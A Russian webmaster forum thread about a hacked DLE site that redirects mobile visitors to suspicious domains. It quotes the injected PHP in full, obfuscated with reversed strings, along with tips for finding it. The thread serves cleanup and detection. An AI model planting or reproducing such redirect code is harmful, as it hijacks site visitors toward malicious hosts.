Редирект не с главной

BralBine
На сайте с 21.07.2011
Offline
73
1501

Доброго. Перелопатил данный раздел вдоль да поперёк, прочитал свежие топики.

Трабла - юзеры начали жаловаться, мол на сайт не попасть, Яша блочит. Дай думаю загляну в ВМ - да, якобы мобильный редирект.

Основные файлы DLE, которые подвергались хакингу в последнее время - проверил. Пустота.

Наткнулся на сервис: http://secu.ru/online-services/redirect

Сайт с подписи. Главная страница - редирект не обнаружен, любые другие уже редиректят.

Письмо Яши:

Здравствуйте, Константин!

В настоящее время при заходе на сайт через браузер Opera Mobile происходит перенаправление на следующие цели: yaandexfi5.net, agry.net и q00qle.net . Убедитесь, пожалуйста.

Даже айБолитом проверил, есть замечания, но по факту ничего найти не могу.

Способен кто помочь в ситуации? Хз даже, куда копать. :idea:

Andreyka
На сайте с 19.02.2005
Offline
822
#1

Я могу например

Пишите в лс

Не стоит плодить сущности без необходимости
siv1987
На сайте с 02.04.2009
Offline
427
#2

Смотрите в htaccess, смотрите в скриптах.

BralBine
На сайте с 21.07.2011
Offline
73
#3
siv1987:
Смотрите в htaccess, смотрите в скриптах.

Совет от Бога. 🙅

Поедем по очереди, в личку отписался парень, если что далее к Andreyka.

BralBine
На сайте с 21.07.2011
Offline
73
#4

kgtu5 помог с решением проблемы очень оперативно.

Спасибо!

Поскриптум для тех, кто ищет решение своей проблемы:

$gant = strtolower($_SERVER[strrev(strtoupper('tnega_resu_ptth'))]);$ref = $_SERVER[strrev(strtoupper('tsoh_ptth'))];

if(!preg_match('/crawl|andex|oogle|bot/i',$gant)) {
if((preg_match('/ndroi|htc_|htc-|okia|pera min|j2me|martph|pera mo|peramob|ymbian/i',$gant)) and (!isset ($_COOKIE['dle_user_id'])) and($_SERVER['REQUEST_URI'] != '/'))
{header(strrev('=REREFER_PTTH&1=ru&7?bus'.'/artemed/'.'tneilc'.'/ten.'.'yr'.'ga'.'//:pt'.'th :noi'.'tac'.'oL').$ref);exit;}}
asknik
На сайте с 27.05.2011
Offline
69
#5
BralBine:
kgtu5 помог с решением проблемы очень оперативно.
Спасибо!

Поскриптум для тех, кто ищет решение своей проблемы:

$gant = strtolower($_SERVER[strrev(strtoupper('tnega_resu_ptth'))]);$ref = $_SERVER[strrev(strtoupper('tsoh_ptth'))];

if(!preg_match('/crawl|andex|oogle|bot/i',$gant)) {
if((preg_match('/ndroi|htc_|htc-|okia|pera min|j2me|martph|pera mo|peramob|ymbian/i',$gant)) and (!isset ($_COOKIE['dle_user_id'])) and($_SERVER['REQUEST_URI'] != '/'))
{header(strrev('=REREFER_PTTH&1=ru&7?bus'.'/artemed/'.'tneilc'.'/ten.'.'yr'.'ga'.'//:pt'.'th :noi'.'tac'.'oL').$ref);exit;}}

Ну так вы бы сказали где этот код находился

Наши девки лучше всех!
B
На сайте с 24.12.2009
Offline
28
#6

напишите плиз решение проблемы, все уже перерыл

BralBine
На сайте с 21.07.2011
Offline
73
#7
asknik:
Ну так вы бы сказали где этот код находился
burzoev:
напишите плиз решение проблемы, все уже перерыл

Если не ошибаюсь, то в init.php

fatalisu
На сайте с 28.12.2011
Offline
104
#8
BralBine:
Если не ошибаюсь, то в init.php

ошибаетесь, engine/classes/mysql.php вверху

Болею за Олимпиаду в Сочи......Лучший VK месседж (http://ege.do.am/go?http://u.to/IgBkAg)
N
На сайте с 06.05.2007
Offline
419
#9
fatalisu:
ошибаетесь, engine/classes/mysql.php вверху

Ой ли ? Тут нет ошибки и нет системы.

В зависимости от фантазии злоумышленника код редиректа может находиться в любом из нескольких файлов выполняющихся до отдачи html.

Сравнивайте и перезаливайте их ВСЕ.

Кнопка вызова админа ()
TF-Studio
На сайте с 17.08.2010
Offline
334
#10

Да где угодно это может быть.

поиск по ndroi может помочь (и другие ключевые слова)

Всё ещё лучший способ заработка для белых сайтов: GoGetLinks (https://www.gogetlinks.net/?inv=fahbn8).

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий